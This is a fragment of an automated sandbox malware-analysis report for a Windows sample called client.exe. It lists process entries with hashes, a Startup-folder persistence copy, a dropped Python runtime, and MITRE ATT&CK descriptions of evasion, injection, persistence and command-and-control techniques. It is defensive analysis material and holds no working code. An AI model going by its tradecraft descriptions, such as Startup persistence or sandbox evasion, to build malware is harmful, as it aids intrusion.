MD5 hash:	8E8D4E8C939EBAF71FB1A593B92ED618
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	13
Start time:	05:58:03
Start date:	18/12/2024
Path:	C:\Users\user\AppData\Local\Temp\onefile_6496_133789930733313310\all.exe
Wow64 process (32bit):	false
Commandline:	C:\Users\user\Desktop\latest.exe
Imagebase:	0x7ff6ab890000
File size:	58'422'784 bytes
MD5 hash:	05B6254021999F744DF72E1EF9C57451
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	false

Show Windows behavior

Target ID:	14
Start time:	05:58:03
Start date:	18/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6ee680000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	15
Start time:	05:58:16
Start date:	18/12/2024
Path:	C:\Users\user\AppData\Local\Temp\onefile_6304_133789930836485465\all.exe
Wow64 process (32bit):	false
Commandline:	"C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\latest.exe"
Imagebase:	0x7ff7ce4d0000
File size:	58'422'784 bytes
MD5 hash:	05B6254021999F744DF72E1EF9C57451
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 8%, ReversingLabs
Reputation:	low
Has exited:	true

Show Windows behavior

Chronological Activities

Disassembly

⊘No disassembly

Description:	Adversaries may achieve persistence by adding a program to a startup folder or referencing it with a Registry run key. Adding an entry to the "run keys" in the Registry or startup folder will cause the program referenced to be executed when a user logs in.These programs will be executed under the context of the user and will have the account's associated permissions level.
Tactics:	Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, File: File Modification, Process: Process Creation, Windows Registry: Windows Registry Key Creation, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify file time attributes to hide new or changes to existing files. Timestomping is a technique that modifies the timestamps of a file (the modify, access, create, and change times), often to mimic files that are in the same folder. This is done, for example, on files that have been modified or created by the adversary so that they do not appear conspicuous to forensic investigators or file analysis tools.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata, File: File Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using a protocol and port pairing that are typically not associated. For example, HTTPS over port 8088or port 587as opposed to the traditional port 443. Adversaries may make changes to the standard port used by a protocol to bypass filtering or muddle analysis/parsing of network data.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report client.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Yara Signatures

Sigma Signatures

System Summary

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Compliance

Networking

System Summary

Data Obfuscation

Persistence and Installation Behavior

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\Users\user\AppData\Local\Programs\Startup\latest.exe

C:\Users\user\AppData\Local\Temp\onefile_5828_133789929723806628\_brotli.pyd

C:\Users\user\AppData\Local\Temp\onefile_5828_133789929723806628\_bz2.pyd

C:\Users\user\AppData\Local\Temp\onefile_5828_133789929723806628\_cffi_backend.pyd

C:\Users\user\AppData\Local\Temp\onefile_5828_133789929723806628\_decimal.pyd

C:\Users\user\AppData\Local\Temp\onefile_5828_133789929723806628\_hashlib.pyd

C:\Users\user\AppData\Local\Temp\onefile_5828_133789929723806628\_lzma.pyd

C:\Users\user\AppData\Local\Temp\onefile_5828_133789929723806628\_queue.pyd

C:\Users\user\AppData\Local\Temp\onefile_5828_133789929723806628\_socket.pyd

C:\Users\user\AppData\Local\Temp\onefile_5828_133789929723806628\_ssl.pyd

C:\Users\user\AppData\Local\Temp\onefile_5828_133789929723806628\_wmi.pyd

C:\Users\user\AppData\Local\Temp\onefile_5828_133789929723806628\bcrypt\_bcrypt.pyd

C:\Users\user\AppData\Local\Temp\onefile_5828_133789929723806628\certifi\cacert.pem

C:\Users\user\AppData\Local\Temp\onefile_5828_133789929723806628\charset_normalizer\md.pyd

C:\Users\user\AppData\Local\Temp\onefile_5828_133789929723806628\charset_normalizer\md__mypyc.pyd

C:\Users\user\AppData\Local\Temp\onefile_5828_133789929723806628\client.exe

C:\Users\user\AppData\Local\Temp\onefile_5828_133789929723806628\cryptography\hazmat\bindings\_rust.pyd

C:\Users\user\AppData\Local\Temp\onefile_5828_133789929723806628\libcrypto-3.dll

C:\Users\user\AppData\Local\Temp\onefile_5828_133789929723806628\libssl-3.dll

C:\Users\user\AppData\Local\Temp\onefile_5828_133789929723806628\python3.dll

C:\Users\user\AppData\Local\Temp\onefile_5828_133789929723806628\python312.dll

C:\Users\user\AppData\Local\Temp\onefile_5828_133789929723806628\select.pyd

C:\Users\user\AppData\Local\Temp\onefile_5828_133789929723806628\unicodedata.pyd

Windows Analysis Report
client.exe